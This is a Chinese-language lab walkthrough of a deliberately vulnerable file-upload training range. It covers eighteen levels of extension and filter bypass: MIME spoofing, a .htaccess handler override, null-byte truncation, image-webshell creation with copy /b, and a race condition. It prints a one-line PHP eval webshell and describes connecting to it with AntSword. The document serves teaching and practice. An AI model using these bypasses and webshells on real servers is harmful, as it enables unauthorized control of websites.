目录
前言
我们打开靶场,打开第一关是这样的
我们的任务是上传一个webshell,并且整个靶场都几乎是这样,那么问题来了,什么是webshell?
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。 --来自百度百科
那么问题就来了,如何上传webshell?webshell在哪执行?怎么执行?我将慢慢解答
先建立一个php文件,命名为1.php,其中内容为
<?php
phpinfo();
>
上面的代码是一个运行指令,可以查看php服务器的配置信息
Pass-01 JS绕过
第一关先上传一下试试,看看如果我们没有上传图片而是php文件会发生什么
结果并不是很令人满意,但是查看网页源代码发现,他的检查是在前端js代码中
我们可以先将1.php先保存为1.jpg,然后用burpsuite抓包,让前端检查完后修改后缀名
将1.jpg改成1.php后将包继续发送即可
然后右键单击这张“图片”,复制图片地址
该地址则是我们上传的文件的地址,在浏览器中访问该地址,我们就得到了这个
Pass-02 MIME绕过
点击清空上传文件,也就是把我们刚才上传的文件删掉,避免出现未上传成功但我们却成功访问php配置界面的情况
这里我们用上一关的办法就能解决,为什么呢?首先我们需要直到MIME是什么
简单点讲,就是设定文件用什么方式打开,比如常见的有image/jpeg就代表这是图片,格式是jpeg,而程序会检查这个类型到底是不是规则中的。而我们上一关在抓包前上传的就是图片格式的文件(即1.jpg),可以看一下上一关
在红色框的下一行,蓝色框中的MIME恰巧是正确的,所以使用上一关的方法也是可行的
接下来看一种不一样的,我们直接上传1.php并抓包
可以看到content-type是application/octet-stream,我们只需要将其修改成image/jpeg即可
尝试访问配置页面,本关完成!
Pass-03 php3绕过
什么是黑名单?黑名单中的“人”就相当于敌人,是我们国家不欢迎的,发现了就会把他关起来扔出去。
我们先看一下源码,底下的几种都是敌人,是不被欢迎的
$deny_ext = array('.asp','.aspx','.php','.jsp');
但是黑名单的缺点就是往往不能过滤掉所有我们不想要的,比如这一关,我们可以使用php3作为后缀绕过检查
ok,发现是上传成功了的,尝试访问失败,是因为配置原因
在httpd.conf文件中找到这一行,加上php3,并删掉注释符#,然后重启服务后尝试连接
Pass-04 .htaccess绕过
查看提示后,绝了
这么多,但是法网恢恢,疏而不漏
我们可以上传.htaccess文件,让他把任何文件都当成.php去解析
<FilesMatch "1.jpg"> //1.jpg为即将上传的文件,其中为php代码
SetHandler application/x-httpd-php
</FilesMatch>
上传时抓包将文件名只保留后缀
上传完成后在上传1.jpg
然后,就没有然后了
Pass-05 . .绕过
这一关又过滤了.htacess,那么没办法了吗?
我们可以利用.user.ini,php 5.3.0版本之后,php支持基于每个目录的.htaccess风格ini文件,php会在每个目录下扫描ini文件。.user.ini中的字段会被php看作配置文件来解析。我是用这个方法失败了,因此想知道详细内容的可以百度,在此不在赘述。
使用. .(点空格点)绕过检查上传文件,并且这一关开始换点新鲜的玩意儿,不在去看phpinfo了,借助蚁剑工具直接去getshell
php文件中代码为
<?php @eval($_POST['vegetable']);?>
将该php文件上传并用burpsuite抓包,修改文件后缀名
上传成功后,复制图片地址,用蚁剑连接
在蚁剑界面空白处右击,选择添加数据
将图片地址粘贴之后,输入代码中设置的密码,点击测试链接,会出现成功的提示则证明可以连接
再点击添加按钮,在下图处双击即可进入管理界面
管理界面如图所示
Pass-06 大小写绕过
这一关直接可以使用大小写来绕过
直接上传一个小马,后缀名写成phP绕过检查
上传成功后使用蚁剑连接
Pass-07 空格绕过
借助burpsuite在上传时,给后缀后面加一个空格,以此来绕过检查
上蚁剑,连接!!
Pass-08 . 绕过
这一关可以使用后缀名加 . 来绕过
依然使用burpsuite抓包,然后修改文件后缀名,给后面加一个点
之后还是一样的套路,使用蚁剑链接即可
Pass-09 ::$DATA绕过
php文件名后加上::$DATA时会把之后的数据当成文件流处理,不会检测后缀名
依然使用burpsuite修改文件名
上传成功后同样的方式,用蚁剑连接,不过要将刚才添加的后缀去除
然后就成功了
Pass-10 . .绕过
这一关可以使用之前第五关的方式,一摸一样
Pass-11 双写绕过
这一关使用了函数str_ireplace()替换黑名单中的字符串,可以使用双写绕过
在此需要注意的是,双写时写成phphpp,上传到文件中的文件后缀就变成了hpp,因为他先删除了php,就剩下了hpp
因此,我们需要将上传文件的后缀名改为pphphp,他会删除红色部分的php,留下来的依然是php
可以看到上传成功的文件为1.php,再用蚁剑连接即可
Pass-12 00截断
这一关使用了白名单,文件上传的路径是拼接生成的
要完成这一关,首先有一个很重要的东西,就是php版本要低,低于5.3.4,并且magic_quotes_gpc需要关闭
上传文件时,在../upload/加上1.php%00,文件名命名为1.jpg,然后将包放掉
使用蚁剑连接时,需要将标为高亮的这一部分删掉
然后即可成功
Pass-13 00截断
白名单,文件上传路径仍然是拼接生成,使用截断绕过,与上一关不同的是,这一关使用的是post
不过,还是上传,抓包,修改这两处,然后点击hex
将这里的2b改为00,即修改+对应位置的十六进制数为00,然后继续发包
然后使用蚁剑连接,将url多余部分删除即可成功连接
Pass-14 图片马
打开这一关可以看到任务
需要制作一个图片马并上传,然后利用文件包含漏洞运行代码
首先先制作一个图片马,之所以叫图片马就是因为又有图片又有马,先准备一个图片命名为1.jpg,写有一句话木马的php命名为1.php
打开cmd,使用语句copy 1.png/b + 1.php/a shell.jpg
之后我们将shell.jpg上传,构造文件包含url,复制上传图片名到*.jpg
······include.php?file=upload/*.jpg
添加后成功
Pass-15 图片马
本关依然可以利用图片马+文件包含的方式,与14关无异
Pass-16 图片马
本关依然可以利用图片马+文件包含的方式,与14关无异
Pass-17 二次渲染
本关仍然需要使用图片马+文件包含的方式,只不过多了二次渲染
所以需要找出二次渲染后图片没有被改变的地方
Pass-18 条件竞争
这一关提示要我们代码审计
那就看看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
先将上传的文件保存,然后与黑名单对比,如果是允许范围内的就重命名,否则使用unlink函数删除该文件
那我们仍然可以上传一个图片马,利用文件包含漏洞
也可以上传php文件,在unlink代码执行前快速访问